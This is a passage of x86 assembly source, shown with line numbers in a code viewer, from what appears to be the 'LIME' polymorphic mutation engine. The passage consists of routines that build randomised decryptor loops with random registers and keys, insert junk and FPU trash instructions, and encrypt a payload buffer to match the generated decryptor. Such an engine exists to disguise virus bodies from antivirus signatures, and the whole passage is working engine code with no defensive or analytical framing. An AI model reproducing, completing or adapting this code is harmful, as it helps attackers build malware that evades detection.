| 218 | call [ebp-@+LIME_rnd_al] | ||
| 219 | lea ebx,[ebp-@+lime_pre_opcod_tab] | ||
| 220 | xlatb | ||
| 221 | or al,[ebp-@+disp_reg] | ||
| 222 | stosb | ||
| 223 | pop ebx | ||
| 224 | push edi ; p1 | ||
| 225 | call [ebp-@+LIME_rnd] | ||
| 226 | stosd | ||
| 227 | jp lmpd_a1 | ||
| 228 | xor byte [edi-05h],11000000b | ||
| 229 | sub edi,byte 03h | ||
| 230 | lmpd_a1: | ||
| 231 | call [ebp-@+LIME_rnd] | ||
| 232 | stosd | ||
| 233 | cmp bl,83h | ||
| 234 | jnz lmpd_a2 | ||
| 235 | sub edi,byte 03h | ||
| 236 | lmpd_a2: | ||
| 237 | |||
| 238 | loop mk_next_prefix_decrypt | ||
| 239 | |||
| 240 | call [ebp-@+LIME_make_tsh_cod] | ||
| 241 | push dword [ebp-@+ret_addr] | ||
| 242 | ret | ||
| 243 | |||
| 244 | ; --------------------------------------------------------------- | ||
| 245 | |||
| 246 | lime_make_decrypt: | ||
| 247 | push ecx | ||
| 248 | call [ebp-@+LIME_make_tsh_cod] | ||
| 249 | call [ebp-@+LIME_set_disp_reg] | ||
| 250 | |||
| 251 | ; mov al,0cch | ||
| 252 | ; stosb ; *test* | ||
| 253 | |||
| 254 | call lime_make_mov_cod | ||
| 255 | call [ebp-@+LIME_save_edi] ; a0 = disp value | ||
| 256 | stosd | ||
| 257 | |||
| 258 | call [ebp-@+LIME_make_tsh_cod] | ||
| 259 | call [ebp-@+LIME_rnd] | ||
| 260 | and al,11111001b | ||
| 261 | mov [ebp-@+enc_type],al | ||
| 262 | mov bl,al | ||
| 263 | rol al,1 | ||
| 264 | mov ah,al | ||
| 265 | call [ebp-@+LIME_rnd_reg] | ||
| 266 | mov [ebp-@+key_reg],al | ||
| 267 | shl ah,3 | ||
| 268 | or al,ah | ||
| 269 | or al,0b0h ; mov reg,key | ||
| 270 | stosb | ||
| 271 | call [ebp-@+LIME_rnd] | ||
| 272 | mov [esi+4*6],eax ; a7 = key | ||
| 273 | stosd | ||
| 274 | test bl,10000000b | ||
| 275 | jnz lmd_a1 | ||
| 276 | sub edi,byte 03h | ||
| 277 | lmd_a1: | ||
| 278 | call [ebp-@+LIME_rnd] | ||
| 279 | and al,00000010b | ||
| 280 | mov [ebp-@+para_eax],al | ||
| 281 | call lime_make_xchg_cod_rnd | ||
| 282 | |||
| 283 | call [ebp-@+LIME_save_edi] ; a1 = address of loop | ||
| 284 | call [ebp-@+LIME_make_tsh_cod] | ||
| 285 | |||
| 286 | mov al,[ebp-@+disp_reg] | ||
| 287 | mov [ebp-@+orig_reg],al | ||
| 288 | |||
| 289 | push esi | ||
| 290 | lea esi,[ebp-@+lime_enc_opcod_tab] | ||
| 291 | mov al,22 | ||
| 292 | call [ebp-@+LIME_rnd_esi] | ||
| 293 | add esi,eax | ||
| 294 | cmp eax,byte 16*2 | ||
| 295 | pushf | ||
| 296 | lodsd | ||
| 297 | test bl,10000000b | ||
| 298 | jz lmd_a2 | ||
| 299 | or eax,00010001h | ||
| 300 | lmd_a2: | ||
| 301 | popf | ||
| 302 | push eax | ||
| 303 | jbe mk_no_cf | ||
| 304 | mov al,bl | ||
| 305 | ; and al,01h | ||
| 306 | or al,0f8h ; clc / stc | ||
| 307 | stosb | ||
| 308 | call [ebp-@+LIME_make_noflags_cod] | ||
| 309 | mk_no_cf: | ||
| 310 | pop eax | ||
| 311 | pop esi | ||
| 312 | mov bh,bl | ||
| 313 | and bh,01000000b | ||
| 314 | sub ah,bh | ||
| 315 | mov [esi],eax ; a2 = decryptic type | ||
| 316 | add esi,byte 04h | ||
| 317 | or ah,[ebp-@+disp_reg] | ||
| 318 | cmp al,40h | ||
| 319 | jae lmd_a3 | ||
| 320 | mov dh,[ebp-@+key_reg] | ||
| 321 | rol dh,3 | ||
| 322 | or ah,dh | ||
| 323 | lmd_a3: | ||
| 324 | stosw ; (add/sub/xor...) (b/w) [reg+(xxxxxx)xx],key | ||
| 325 | xchg edx,eax | ||
| 326 | call [ebp-@+LIME_rnd] | ||
| 327 | jp lmd_a4 | ||
| 328 | and byte [edi-01h],11111000b | ||
| 329 | or byte [edi-01h],00000100b | ||
| 330 | and al,11000000b | ||
| 331 | or al,00100000b | ||
| 332 | or al,[ebp-@+disp_reg] | ||
| 333 | stosb | ||
| 334 | lmd_a4: | ||
| 335 | call [ebp-@+LIME_save_edi] ; a3 = address of displacement | ||
| 336 | call [ebp-@+LIME_rnd] | ||
| 337 | stosd | ||
| 338 | test bl,01000000b | ||
| 339 | jz lmd_a5 | ||
| 340 | sub edi,byte 03h | ||
| 341 | lmd_a5: | ||
| 342 | cmp dl,0d0h | ||
| 343 | jae mk_no_val | ||
| 344 | cmp dl,40h | ||
| 345 | jb mk_no_val | ||
| 346 | call [ebp-@+LIME_rnd] | ||
| 347 | and al,7fh | ||
| 348 | stosd | ||
| 349 | cmp dl,81h | ||
| 350 | jz lmd_a6 | ||
| 351 | and eax,byte 7fh | ||
| 352 | sub edi,byte 03h | ||
| 353 | lmd_a6: | ||
| 354 | mov [esi+4*3],eax ; a7 = key | ||
| 355 | mk_no_val: | ||
| 356 | |||
| 357 | call lime_make_xchg_cod_rnd | ||
| 358 | call lime_make_inc_cod ; (inc/dec) reg | ||
| 359 | call lime_make_xchg_cod_rnd | ||
| 360 | |||
| 361 | mov ax,0f881h ; cmp reg,xxxxxxxx | ||
| 362 | or ah,[ebp-@+disp_reg] | ||
| 363 | stosw | ||
| 364 | call lime_aox_eax | ||
| 365 | call [ebp-@+LIME_save_edi] ; a4 = address of "cmp reg,xxxxxxxx" | ||
| 366 | stosd | ||
| 367 | |||
| 368 | call [ebp-@+LIME_make_noflags_cod] | ||
| 369 | |||
| 370 | test byte [ebp-@+para_eax],00000010b | ||
| 371 | jz mk_no_xchg | ||
| 372 | mov al,04h | ||
| 373 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 374 | add al,87h ; xchg orig_reg,disp_reg | ||
| 375 | stosb | ||
| 376 | mov al,[ebp-@+orig_reg] | ||
| 377 | mov ah,al | ||
| 378 | xchg [ebp-@+disp_reg],al | ||
| 379 | dec edi | ||
| 380 | cmp ah,al | ||
| 381 | jz mk_no_xchg | ||
| 382 | inc edi | ||
| 383 | rol ah,3 | ||
| 384 | or al,ah | ||
| 385 | or al,11000000b | ||
| 386 | cmp byte [edi-01h],87h | ||
| 387 | jnz lmd_a7 | ||
| 388 | call lime_xchg_reg | ||
| 389 | lmd_a7: | ||
| 390 | stosb | ||
| 391 | call [ebp-@+LIME_make_noflags_cod] | ||
| 392 | mk_no_xchg: | ||
| 393 | and byte [ebp-@+para_eax],11111101b | ||
| 394 | |||
| 395 | call lime_make_jz_cod ; jxx (xxxxxx)xx | ||
| 396 | call [ebp-@+LIME_save_edi] ; a5 = address of "jxx xx" | ||
| 397 | |||
| 398 | call [ebp-@+LIME_make_noflags_cod] | ||
| 399 | |||
| 400 | mov al,0e9h ; jmp xxxxxxxx | ||
| 401 | stosb | ||
| 402 | mov eax,[esi-5*4] ; address of loop | ||
| 403 | sub eax,edi | ||
| 404 | dec eax | ||
| 405 | cmp eax,byte -80h | ||
| 406 | jae mk_short_jmp | ||
| 407 | sub eax,byte 03h | ||
| 408 | stosd | ||
| 409 | jmp short mk_jmp_end | ||
| 410 | mk_short_jmp: | ||
| 411 | mov byte [edi-01h],0ebh ; jmp xx | ||
| 412 | stosb | ||
| 413 | mk_jmp_end: | ||
| 414 | |||
| 415 | call lime_rnd_trash | ||
| 416 | call [ebp-@+LIME_save_edi] ; a6 | ||
| 417 | |||
| 418 | push esi | ||
| 419 | mov esi,[esi-4*2] ; address of "jxx xx" | ||
| 420 | mov eax,edi | ||
| 421 | sub eax,esi | ||
| 422 | cmp byte [esi-02h],00h | ||
| 423 | jnz mk_jz_a | ||
| 424 | sub esi,byte 03h | ||
| 425 | mk_jz_a: | ||
| 426 | mov [esi-01h],al | ||
| 427 | pop esi | ||
| 428 | add esi,byte 04h | ||
| 429 | |||
| 430 | pop ecx | ||
| 431 | ret | ||
| 432 | |||
| 433 | ; ------------------------------- | ||
| 434 | ; ... | ||
| 435 | ; mov reg,xxxxxxxx <---- a0 | ||
| 436 | ; ... | ||
| 437 | ;a1: | ||
| 438 | ; ... | ||
| 439 | ; xor [eax+xx],key <---- a7 | ||
| 440 | ; ^^^(a2) ^^a3 | ||
| 441 | ; ... | ||
| 442 | ; inc eax | ||
| 443 | ; ... | ||
| 444 | ; cmp eax,xxxxxxxx <---- a4 | ||
| 445 | ; ... | ||
| 446 | ; jz a6 | ||
| 447 | ;a5: | ||
| 448 | ; ... | ||
| 449 | ; jmp a1 | ||
| 450 | ; ... | ||
| 451 | ;a6: | ||
| 452 | ; ------------------------------- | ||
| 453 | |||
| 454 | ; --------------------------------------------------------------- | ||
| 455 | |||
| 456 | lime_encrypt: | ||
| 457 | mov ecx,[ebp-@+para_edx] | ||
| 458 | mov esi,[ebp-@+para_ecx] | ||
| 459 | repz movsb | ||
| 460 | |||
| 461 | push edi | ||
| 462 | calc_disp: | ||
| 463 | rol dword [ebp-@+enc_type],8 | ||
| 464 | mov eax,0aa9090ach | ||
| 465 | test byte [ebp-@+enc_type],10000000b | ||
| 466 | jz le_a1 | ||
| 467 | or eax,01000001h | ||
| 468 | le_a1: | ||
| 469 | mov [ebp-@+enc_buff-01h],eax | ||
| 470 | |||
| 471 | lea esi,[ebp-@+adr_0] | ||
| 472 | imul ebx,[ebp-@+adr_ndx],byte 4*8 | ||
| 473 | lea edx,[esi+ebx] | ||
| 474 | mov eax,edi | ||
| 475 | mov esi,edi | ||
| 476 | sub eax,[edx+4*6] | ||
| 477 | and al,11111100b | ||
| 478 | add eax,byte 04h | ||
| 479 | sub esi,eax | ||
| 480 | mov eax,esi | ||
| 481 | |||
| 482 | sub eax,[ebp-@+para_ebx] | ||
| 483 | add eax,[ebp-@+para_ebp] | ||
| 484 | mov ebx,[edx+4*3] | ||
| 485 | mov ecx,[ebx] | ||
| 486 | test byte [ebp-@+enc_type],01000000b | ||
| 487 | jz le_a2 | ||
| 488 | movsx ecx,cl | ||
| 489 | le_a2: | ||
| 490 | sub eax,ecx | ||
| 491 | mov ecx,[edx+4*7] ; decryptic value | ||
| 492 | |||
| 493 | test byte [ebp-@+enc_type],00001000b | ||
| 494 | jnz le_a3 | ||
| 495 | mov ebx,[edx] ; address of "mov reg,xxxxxxxx" | ||
| 496 | mov [ebx],eax | ||
| 497 | add eax,edi | ||
| 498 | sub eax,esi | ||
| 499 | mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx" | ||
| 500 | jmp short le_a4 | ||
| 501 | le_a3: | ||
| 502 | mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx" | ||
| 503 | mov [ebx],eax | ||
| 504 | add eax,edi | ||
| 505 | sub eax,esi | ||
| 506 | mov ebx,[edx] ; address of "mov reg,xxxxxxxx" | ||
| 507 | le_a4: | ||
| 508 | mov [ebx],eax | ||
| 509 | |||
| 510 | ; jmp _test1_lime_encrypt ; *test* | ||
| 511 | mov eax,[edx+4*2] ; decryptic type | ||
| 512 | shr eax,16 | ||
| 513 | mov [ebp-@+enc_buff],ax | ||
| 514 | mov ebx,edi | ||
| 515 | mov edi,esi | ||
| 516 | |||
| 517 | mov al,[ebp-@+enc_type] | ||
| 518 | ; and al,1 | ||
| 519 | or al,0f8h ; clc / stc | ||
| 520 | mov [ebp-@+enc_buff-02h],al | ||
| 521 | |||
| 522 | encrypt_prog: | ||
| 523 | db 90h | ||
| 524 | lodsb ; 0ach | ||
| 525 | enc_buff db 90h,90h | ||
| 526 | stosb ; 0aah | ||
| 527 | cmp esi,ebx | ||
| 528 | jb encrypt_prog | ||
| 529 | _test1_lime_encrypt: | ||
| 530 | |||
| 531 | cmp byte [ebp-@+adr_ndx],0 | ||
| 532 | jz lime_prefix_encrypt | ||
| 533 | dec byte [ebp-@+adr_ndx] | ||
| 534 | jmp calc_disp | ||
| 535 | |||
| 536 | ; --------------------------------------------------------------- | ||
| 537 | |||
| 538 | lime_prefix_encrypt: | ||
| 539 | ; jmp _test2_lime_encrypt ; *test* | ||
| 540 | movzx ecx,byte [ebp-@+pre_count] | ||
| 541 | mov edi,[ebp-@+pre_addr] | ||
| 542 | lpe_next: | ||
| 543 | mov al,1fh | ||
| 544 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 545 | add eax,[ebp-@+adr_0+4*1] ; address of loop | ||
| 546 | mov ebx,eax | ||
| 547 | sub eax,[ebp-@+para_ebx] | ||
| 548 | add eax,[ebp-@+para_ebp] | ||
| 549 | mov esi,[edi] | ||
| 550 | mov edx,[esi] | ||
| 551 | push esi | ||
| 552 | add esi,byte 04h | ||
| 553 | test byte [esi-05h],01000000b | ||
| 554 | jz lpe_a1 | ||
| 555 | movsx edx,dl | ||
| 556 | sub esi,byte 03h | ||
| 557 | lpe_a1: | ||
| 558 | sub eax,edx | ||
| 559 | mov edx,[edi+04h] | ||
| 560 | mov [edx],eax | ||
| 561 | add edi,byte 08h | ||
| 562 | mov edx,[esi] | ||
| 563 | pop esi | ||
| 564 | mov eax,[esi-02h] | ||
| 565 | cmp al,83h | ||
| 566 | jnz lpe_a2 | ||
| 567 | movsx edx,dl | ||
| 568 | lpe_a2: | ||
| 569 | and ah,00111000b | ||
| 570 | jz lpe_sub | ||
| 571 | cmp ah,00101000b | ||
| 572 | jz lpe_add | ||
| 573 | xor [ebx],edx | ||
| 574 | loop lpe_next | ||
| 575 | jmp short lime_encrypt_end | ||
| 576 | lpe_sub: | ||
| 577 | sub [ebx],edx | ||
| 578 | loop lpe_next | ||
| 579 | jmp short lime_encrypt_end | ||
| 580 | lpe_add: | ||
| 581 | add [ebx],edx | ||
| 582 | loop lpe_next | ||
| 583 | _test2_lime_encrypt: | ||
| 584 | |||
| 585 | lime_encrypt_end: | ||
| 586 | pop edi | ||
| 587 | call lime_rnd_trash | ||
| 588 | ret | ||
| 589 | |||
| 590 | ; --------------------------------------------------------------- | ||
| 591 | |||
| 592 | lime_set_disp_reg: | ||
| 593 | push edx | ||
| 594 | lsdr_l: | ||
| 595 | mov al,111b | ||
| 596 | call [ebp-@+LIME_rnd_al] | ||
| 597 | cmp al,100b | ||
| 598 | jz lsdr_l | ||
| 599 | mov dl,[ebp-@+key_reg] | ||
| 600 | test bl,10000000b | ||
| 601 | jnz lsdr_a | ||
| 602 | and dl,011b | ||
| 603 | lsdr_a: | ||
| 604 | cmp al,dl | ||
| 605 | jz lsdr_l | ||
| 606 | cmp al,[ebp-@+disp_reg] | ||
| 607 | jz lsdr_l | ||
| 608 | mov [ebp-@+disp_reg],al | ||
| 609 | mov [ebp-@+temp_reg],al | ||
| 610 | pop edx | ||
| 611 | ret | ||
| 612 | |||
| 613 | lime_rnd: | ||
| 614 | push edx | ||
| 615 | rdtsc | ||
| 616 | xor eax,[ebp-@+lime_rnd_val] | ||
| 617 | adc eax,edi | ||
| 618 | neg eax | ||
| 619 | sbb eax,edx | ||
| 620 | rcr eax,1 | ||
| 621 | xor [ebp-@+lime_rnd_val],eax | ||
| 622 | pop edx | ||
| 623 | ret | ||
| 624 | |||
| 625 | lime_rnd_eax_and_al: | ||
| 626 | push edx | ||
| 627 | movzx edx,al | ||
| 628 | call [ebp-@+LIME_rnd] | ||
| 629 | and eax,edx | ||
| 630 | pop edx | ||
| 631 | ret | ||
| 632 | |||
| 633 | lime_rnd_al: | ||
| 634 | push edx | ||
| 635 | mov edx,eax | ||
| 636 | lra_l: | ||
| 637 | call [ebp-@+LIME_rnd] | ||
| 638 | cmp al,dl | ||
| 639 | ja lra_l | ||
| 640 | mov dl,al | ||
| 641 | xchg eax,edx | ||
| 642 | pop edx | ||
| 643 | ret | ||
| 644 | |||
| 645 | lime_rnd_esi: | ||
| 646 | and eax,byte 07fh | ||
| 647 | call [ebp-@+LIME_rnd_al] | ||
| 648 | add eax,eax | ||
| 649 | add esi,eax | ||
| 650 | ret | ||
| 651 | |||
| 652 | lime_rnd_addr: | ||
| 653 | call [ebp-@+LIME_rnd_esi] | ||
| 654 | movzx eax,word [esi] | ||
| 655 | lea esi,[eax+@] | ||
| 656 | ret | ||
| 657 | |||
| 658 | lime_save_edi: | ||
| 659 | mov [esi],edi | ||
| 660 | add esi,byte 04h | ||
| 661 | ret | ||
| 662 | |||
| 663 | lime_rnd_reg_dd: | ||
| 664 | mov al,01h | ||
| 665 | lime_rnd_reg: | ||
| 666 | push ecx | ||
| 667 | push edx | ||
| 668 | xchg edx,eax | ||
| 669 | lrr_l: | ||
| 670 | mov al,111b | ||
| 671 | call [ebp-@+LIME_rnd_al] | ||
| 672 | mov ah,al | ||
| 673 | test dl,01h | ||
| 674 | jnz lrr_w | ||
| 675 | and al,011b | ||
| 676 | lrr_w: | ||
| 677 | cmp al,100b | ||
| 678 | jz lrr_l | ||
| 679 | cmp al,[ebp-@+disp_reg] | ||
| 680 | jz lrr_l | ||
| 681 | cmp al,[ebp-@+temp_reg] | ||
| 682 | jz lrr_l | ||
| 683 | and al,011b | ||
| 684 | mov cl,[ebp-@+key_reg] | ||
| 685 | and cl,011b | ||
| 686 | cmp al,cl | ||
| 687 | jz lrr_l | ||
| 688 | mov dl,ah | ||
| 689 | xchg eax,edx | ||
| 690 | pop edx | ||
| 691 | pop ecx | ||
| 692 | ret | ||
| 693 | |||
| 694 | lime_rnd_trash: | ||
| 695 | push ecx | ||
| 696 | mov al,3 | ||
| 697 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 698 | or al,04h | ||
| 699 | xchg ecx,eax | ||
| 700 | lrt_l: | ||
| 701 | call [ebp-@+LIME_rnd] | ||
| 702 | stosb | ||
| 703 | loop lrt_l | ||
| 704 | pop ecx | ||
| 705 | ret | ||
| 706 | |||
| 707 | lime_rnd_rm: | ||
| 708 | push edx | ||
| 709 | xor edx,edx | ||
| 710 | mov dl,al | ||
| 711 | mov ah,al | ||
| 712 | rol ah,3 | ||
| 713 | mov al,[edi-01h] | ||
| 714 | call [ebp-@+LIME_rnd_reg] | ||
| 715 | or ah,al | ||
| 716 | rol ah,3 | ||
| 717 | mov al,[edi-01h] | ||
| 718 | call [ebp-@+LIME_rnd_reg] | ||
| 719 | or al,ah | ||
| 720 | stosb | ||
| 721 | cmp dl,11b | ||
| 722 | jz lrr_a2 | ||
| 723 | and al,11000111b | ||
| 724 | push eax | ||
| 725 | cmp eax,edi | ||
| 726 | jp lrr_a1 | ||
| 727 | or ah,00000100b | ||
| 728 | mov [edi-01h],ah | ||
| 729 | mov ah,al | ||
| 730 | mov al,0ffh | ||
| 731 | call [ebp-@+LIME_rnd_al] | ||
| 732 | and al,11111000b | ||
| 733 | xor al,ah | ||
| 734 | stosb | ||
| 735 | lrr_a1: | ||
| 736 | call [ebp-@+LIME_rnd] | ||
| 737 | stosd | ||
| 738 | pop eax | ||
| 739 | cmp al,00000101b | ||
| 740 | jz lrr_a2 | ||
| 741 | cmp dl,10b | ||
| 742 | je lrr_a2 | ||
| 743 | sub edi,byte 04h | ||
| 744 | add edi,edx | ||
| 745 | lrr_a2: | ||
| 746 | pop edx | ||
| 747 | ret | ||
| 748 | |||
| 749 | lime_xchg_reg: | ||
| 750 | push edx | ||
| 751 | cmp eax,edi | ||
| 752 | jp lxr_e | ||
| 753 | and al,00111111b | ||
| 754 | mov edx,eax | ||
| 755 | shr al,3 | ||
| 756 | shl dl,3 | ||
| 757 | or al,dl | ||
| 758 | or al,11000000b | ||
| 759 | lxr_e: | ||
| 760 | pop edx | ||
| 761 | ret | ||
| 762 | |||
| 763 | lime_aox_eax: | ||
| 764 | cmp eax,edi | ||
| 765 | jp lae_e | ||
| 766 | test byte [edi-01h],111b | ||
| 767 | jnz lae_e | ||
| 768 | dec edi | ||
| 769 | mov al,[edi] | ||
| 770 | dec edi | ||
| 771 | and al,00111000b | ||
| 772 | or al,00000101b | ||
| 773 | stosb | ||
| 774 | lae_e: | ||
| 775 | ret | ||
| 776 | |||
| 777 | ; --------------------------------------------------------------- | ||
| 778 | |||
| 779 | lime_make_mov_cod: | ||
| 780 | push esi | ||
| 781 | lea esi,[ebp-@+lime_mk_mov_cod_addr] | ||
| 782 | mov al,02h | ||
| 783 | call lime_rnd_addr | ||
| 784 | call esi | ||
| 785 | pop esi | ||
| 786 | ret | ||
| 787 | lime_mmc1: | ||
| 788 | mov al,0b8h ; mov reg,xxxxxxxx | ||
| 789 | or al,[ebp-@+disp_reg] | ||
| 790 | stosb | ||
| 791 | ret | ||
| 792 | lime_mmc2: ; set reg=0 / (add/or/xor) reg,xx | ||
| 793 | lea esi,[ebp-@+lime_zero_reg_opcod_tab] | ||
| 794 | mov al,03h | ||
| 795 | call [ebp-@+LIME_rnd_esi] | ||
| 796 | lodsd | ||
| 797 | or ah,[ebp-@+disp_reg] | ||
| 798 | rol ah,3 | ||
| 799 | or ah,[ebp-@+disp_reg] | ||
| 800 | stosw | ||
| 801 | call lime_make_xchg_cod_rnd | ||
| 802 | lea esi,[ebp-@+lime_init_reg_opcod_tab] | ||
| 803 | mov al,03h | ||
| 804 | call [ebp-@+LIME_rnd_esi] | ||
| 805 | lodsd | ||
| 806 | or ah,[ebp-@+disp_reg] | ||
| 807 | stosw | ||
| 808 | call lime_aox_eax | ||
| 809 | ret | ||
| 810 | lime_mmc3: | ||
| 811 | mov ax,0a08dh ; lea reg,xxxxxxxx | ||
| 812 | or ah,[ebp-@+disp_reg] | ||
| 813 | rol ah,3 | ||
| 814 | stosw | ||
| 815 | ret | ||
| 816 | |||
| 817 | lime_make_xchg_cod_rnd: | ||
| 818 | cmp eax,edi | ||
| 819 | jp lime_mxc_e | ||
| 820 | or byte [ebp-@+para_eax],00000010b | ||
| 821 | call [ebp-@+LIME_make_tsh_cod] | ||
| 822 | mov dl,[ebp-@+disp_reg] | ||
| 823 | mov al,07h | ||
| 824 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 825 | test byte [ebp-@+key_reg],011b | ||
| 826 | jz lime_mxc_a1 | ||
| 827 | test al,100b | ||
| 828 | jnz lime_mxc_a6 | ||
| 829 | lime_mxc_a1: | ||
| 830 | and al,011b | ||
| 831 | test al,01b | ||
| 832 | jz lime_mxc_a4 | ||
| 833 | cmp dl,101b | ||
| 834 | jnz lime_mxc_a2 | ||
| 835 | and al,01b | ||
| 836 | lime_mxc_a2: | ||
| 837 | add al,8ah | ||
| 838 | stosb | ||
| 839 | call [ebp-@+LIME_set_disp_reg] | ||
| 840 | rol al,3 | ||
| 841 | or al,dl | ||
| 842 | stosb | ||
| 843 | cmp byte [edi-02h],8dh | ||
| 844 | jz lime_mxc_a3 | ||
| 845 | or byte [edi-01h],11000000b | ||
| 846 | lime_mxc_a3: | ||
| 847 | jmp short lime_mxc_e | ||
| 848 | lime_mxc_a4: | ||
| 849 | add ax,1887h ; mov ah,00011regb | ||
| 850 | stosb | ||
| 851 | or ah,[ebp-@+disp_reg] | ||
| 852 | rol ah,3 | ||
| 853 | call [ebp-@+LIME_set_disp_reg] | ||
| 854 | or al,ah | ||
| 855 | cmp byte [edi-01h],87h | ||
| 856 | jnz lime_mxc_a5 | ||
| 857 | call lime_xchg_reg | ||
| 858 | lime_mxc_a5: | ||
| 859 | stosb | ||
| 860 | lime_mxc_e: | ||
| 861 | call [ebp-@+LIME_make_tsh_cod] | ||
| 862 | ret | ||
| 863 | lime_mxc_a6: | ||
| 864 | call [ebp-@+LIME_set_disp_reg] | ||
| 865 | cmp dl,000b | ||
| 866 | jz lime_mxc_a7 | ||
| 867 | mov al,90h | ||
| 868 | or al,dl | ||
| 869 | mov byte [ebp-@+disp_reg],00h | ||
| 870 | jmp short lime_mxc_a5 | ||
| 871 | lime_mxc_a7: | ||
| 872 | call [ebp-@+LIME_set_disp_reg] | ||
| 873 | or al,90h | ||
| 874 | jmp short lime_mxc_a5 | ||
| 875 | |||
| 876 | ; --------------------------------------------------------------- | ||
| 877 | |||
| 878 | lime_make_inc_cod: | ||
| 879 | push esi | ||
| 880 | lea esi,[ebp-@+lime_mk_inc_cod_addr] | ||
| 881 | mov al,01h | ||
| 882 | call lime_rnd_addr | ||
| 883 | mov al,bl | ||
| 884 | and al,00001000b | ||
| 885 | or al,[ebp-@+disp_reg] | ||
| 886 | test bl,10000000b | ||
| 887 | jz lime_mic_t | ||
| 888 | lea esi,[ebp-@+lime_mic3] | ||
| 889 | lime_mic_t: | ||
| 890 | call esi | ||
| 891 | pop esi | ||
| 892 | ret | ||
| 893 | lime_mic1: | ||
| 894 | or al,40h ; (inc/dec) reg | ||
| 895 | stosb | ||
| 896 | ret | ||
| 897 | lime_mic2: | ||
| 898 | or al,11000000b | ||
| 899 | mov ah,al | ||
| 900 | mov al,0ffh ; (inc/dec) reg | ||
| 901 | stosw | ||
| 902 | ret | ||
| 903 | lime_mic3: ; (add/sub) reg,xx / (add/sub) reg,xx | ||
| 904 | mov al,81h | ||
| 905 | stosb | ||
| 906 | lea esi,[ebp-@+lime_add4_reg_opcod_tab] | ||
| 907 | mov al,03h | ||
| 908 | call [ebp-@+LIME_rnd_esi] | ||
| 909 | add esi,eax | ||
| 910 | mov edx,[esi] | ||
| 911 | mov al,dl | ||
| 912 | or al,[ebp-@+disp_reg] | ||
| 913 | stosb | ||
| 914 | call lime_aox_eax | ||
| 915 | call [ebp-@+LIME_rnd] | ||
| 916 | stosd | ||
| 917 | xchg ecx,eax | ||
| 918 | push edx | ||
| 919 | call lime_make_xchg_cod_rnd | ||
| 920 | pop edx | ||
| 921 | mov al,81h | ||
| 922 | stosb | ||
| 923 | mov al,dh | ||
| 924 | or al,[ebp-@+disp_reg] | ||
| 925 | stosb | ||
| 926 | call lime_aox_eax | ||
| 927 | cmp dh,dl | ||
| 928 | jnz lime_mic3_a1 | ||
| 929 | neg ecx | ||
| 930 | lime_mic3_a1: | ||
| 931 | xchg eax,edx | ||
| 932 | shr eax,16 | ||
| 933 | test bl,00001000b | ||
| 934 | jz lime_mic3_a2 | ||
| 935 | shr eax,8 | ||
| 936 | lime_mic3_a2: | ||
| 937 | movsx eax,al | ||
| 938 | add eax,ecx | ||
| 939 | stosd | ||
| 940 | ret | ||
| 941 | |||
| 942 | ; --------------------------------------------------------------- | ||
| 943 | |||
| 944 | lime_make_jz_cod: | ||
| 945 | push esi | ||
| 946 | lea esi,[ebp-@+lime_mk_jxx_cod_addr] | ||
| 947 | mov al,01h | ||
| 948 | call lime_rnd_addr | ||
| 949 | mov al,01h | ||
| 950 | call [ebp-@+LIME_rnd_al] | ||
| 951 | test bl,00001000b | ||
| 952 | call esi | ||
| 953 | pop esi | ||
| 954 | ret | ||
| 955 | lime_mjc1: | ||
| 956 | jz lime_mjc1_a | ||
| 957 | mov al,0ffh | ||
| 958 | lime_mjc1_a: | ||
| 959 | add al,73h ; jz(ae/b) xx | ||
| 960 | stosw | ||
| 961 | ret | ||
| 962 | lime_mjc2: | ||
| 963 | mov ah,al | ||
| 964 | jz lime_mjc2_a | ||
| 965 | mov ah,0ffh | ||
| 966 | lime_mjc2_a: | ||
| 967 | add ah,83h ; jz(ae/b) xxxxxxxx | ||
| 968 | mov al,0fh | ||
| 969 | stosw | ||
| 970 | xor eax,eax | ||
| 971 | stosd | ||
| 972 | ret | ||
| 973 | |||
| 974 | ; --------------------------------------------------------------- | ||
| 975 | |||
| 976 | lime_make_noflags_cod: | ||
| 977 | or byte [ebp-@+para_eax],10000000b | ||
| 978 | call [ebp-@+LIME_make_tsh_cod] | ||
| 979 | and byte [ebp-@+para_eax],01111111b | ||
| 980 | ret | ||
| 981 | |||
| 982 | lime_make_tsh_cod: | ||
| 983 | ; ret ; *test* | ||
| 984 | push ebx | ||
| 985 | push ecx | ||
| 986 | push edx | ||
| 987 | push esi | ||
| 988 | mov al,3 | ||
| 989 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 990 | or eax,byte 01h | ||
| 991 | xchg ecx,eax | ||
| 992 | lmtc_l: | ||
| 993 | lea esi,[ebp-@+lime_mk_tsh_cod_addr] | ||
| 994 | xor eax,eax | ||
| 995 | mov al,08h | ||
| 996 | test byte [ebp-@+para_eax],10000000b | ||
| 997 | jz lmtc_t1 | ||
| 998 | mov al,03h | ||
| 999 | lmtc_t1: | ||
| 1000 | call [ebp-@+LIME_rnd_al] | ||
| 1001 | rol eax,1 | ||
| 1002 | add esi,eax | ||
| 1003 | movzx eax,word [esi] | ||
| 1004 | lea esi,[eax+@] | ||
| 1005 | call [ebp-@+LIME_rnd] | ||
| 1006 | call esi | ||
| 1007 | mov esi,[ebp-@+jxx_addr] | ||
| 1008 | or esi,esi | ||
| 1009 | jz lmtc_t2 | ||
| 1010 | mov eax,edi | ||
| 1011 | sub eax,esi | ||
| 1012 | cmp eax,byte 02h | ||
| 1013 | jbe lmtc_t2 | ||
| 1014 | mov [esi-01h],al | ||
| 1015 | and dword [ebp-@+jxx_addr],byte 00h | ||
| 1016 | lmtc_t2: | ||
| 1017 | loop lmtc_l | ||
| 1018 | and dword [ebp-@+jxx_addr],byte 00h | ||
| 1019 | pop esi | ||
| 1020 | pop edx | ||
| 1021 | pop ecx | ||
| 1022 | pop ebx | ||
| 1023 | ret | ||
| 1024 | |||
| 1025 | lime_mtc1: ; 8087 | ||
| 1026 | and al,00000100b | ||
| 1027 | or al,0d8h | ||
| 1028 | stosb | ||
| 1029 | lmtc1_a1: | ||
| 1030 | mov al,ah | ||
| 1031 | and ah,00000111b | ||
| 1032 | cmp ah,00000101b | ||
| 1033 | jnz lmtc1_a2 | ||
| 1034 | and al,00111111b | ||
| 1035 | stosb | ||
| 1036 | mov al,7fh | ||
